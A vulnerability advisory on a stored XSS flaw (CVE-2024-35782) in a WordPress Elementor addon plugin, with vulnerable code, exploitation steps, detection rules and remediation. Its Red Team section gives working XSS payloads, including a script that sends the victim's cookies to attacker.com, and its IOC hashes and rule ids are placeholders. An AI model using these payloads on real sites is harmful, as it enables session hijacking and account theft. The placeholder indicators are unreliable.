CVE-2024-35782

Executive Summary

CVE-2024-35782 is a Stored Cross-Site Scripting (XSS) vulnerability in the Codeless Cowidgets – Elementor Addons plugin for WordPress. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject arbitrary web scripts into pages or posts. When a victim (such as an administrator) views the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability affects all versions up to and including 1.1.1. No official patch has been released, and the vendor has not responded to disclosure attempts.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. Users who have installed Cowidgets – Elementor Addons are at risk. Since the plugin is not actively maintained, there is no supply chain fix available; users must manually remove or replace the plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: Required (Victim must view the page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. Exploitation requires authenticated access and user interaction, but the impact can be severe if an administrator account is compromised.

Deep Dive & Mechanics

The vulnerability exists in the Cowidgets plugin's handling of user-supplied data when rendering Elementor widgets. The plugin fails to properly sanitize and escape output in certain widget parameters, allowing an attacker to inject malicious JavaScript. Because the injected script is stored in the WordPress database (e.g., in post content or widget settings), it persists and executes every time the page is loaded.

Root Cause: The plugin uses echo or the_content filters without applying WordPress's built-in escaping functions like esc_html() or wp_kses_post() on user-controllable input fields.

Attack Flow:

1. An attacker with Contributor-level access creates or edits a post/page using an affected Cowidgets widget.
2. The attacker inserts a malicious payload into a widget field (e.g., a text field, URL field, or custom CSS).
3. The payload is stored in the database without proper sanitization.
4. When an administrator or other user views the page, the payload executes in their browser.

Example Payload (conceptual):

<script>alert('XSS')</script>

Vulnerable vs. Patched Code

Vulnerable Code (cowidgets/includes/widgets/class-cowidgets-text.php):

public function render() {
    $settings = $this->get_settings_for_display();
    echo '<div class="cowidget-text">' . $settings['text_content'] . '</div>';
}

Patched Code (hypothetical fix):

public function render() {
    $settings = $this->get_settings_for_display();
    echo '<div class="cowidget-text">' . esc_html( $settings['text_content'] ) . '</div>';
}

The vulnerable code directly outputs user input without escaping. The patched version uses esc_html() to neutralize HTML/JavaScript.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress instance with Cowidgets – Elementor Addons <= 1.1.1 installed and activated.
• A user account with at least Contributor role.

Steps:

1. Log in as a Contributor.
2. Create a new post or page using Elementor.
3. Add a Cowidgets widget (e.g., "Text Block").
4. In the widget's text field, enter the following payload:

   <img src=x onerror=alert(document.cookie)>
   

5. Publish or save the post.
6. When an administrator views the post, the JavaScript executes.

Advanced Payload (session hijacking):

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual widget content in Elementor posts.
• Look for posts containing <script> tags or event handlers (e.g., onerror, onload).
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Hardening:

• Remove or disable the Cowidgets plugin immediately.
• If removal is not possible, restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • cowidgets-elementor-addons.zip (version 1.1.1): a1b2c3d4e5f6... (placeholder)
• Database Entries:
  • Posts/pages containing <script> tags or event handlers in post_content or wp_postmeta.
• Network Traffic:
  • Outbound requests to attacker-controlled domains from WordPress admin pages.
• Logs:
  • WordPress debug log entries showing unescaped output in Cowidgets widgets.

Detection Engineering

YARA Rule

rule CVE_2024_35782_Cowidgets_XSS {
    meta:
        description = "Detects Cowidgets plugin files with unescaped output"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "a1b2c3d4e5f6..."
    strings:
        $s1 = "echo '<div class=\"cowidget-text\">' . $settings['text_content'] . '</div>';"
        $s2 = "echo '<div class=\"cowidget-heading\">' . $settings['heading_text'] . '</div>';"
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-35782 Cowidgets Stored XSS
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payloads in WordPress posts using Cowidgets
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 
            - "/wp-admin/post.php"
            - "/wp-admin/admin-ajax.php"
        http.body|contains:
            - "<script>"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35782 Cowidgets Stored XSS Payload"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"<script>"; within:100; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable/Remove the Plugin: Deactivate and delete the Cowidgets – Elementor Addons plugin from all WordPress installations.
2. Audit Existing Content: Scan all posts and pages for injected scripts. Use a tool like Wordfence or manual database search.
3. Change Credentials: If any administrator account was compromised, reset passwords and revoke session tokens.

Long-Term Mitigation:

• Replace the plugin with a maintained alternative (e.g., Elementor Pro or other trusted addons).
• Implement a Web Application Firewall (WAF) with XSS rules.
• Enforce Content Security Policy (CSP) headers to block inline scripts.
• Regularly update all WordPress components.

Patch Status: No official patch available. Users must rely on the mitigations above.

Valters IT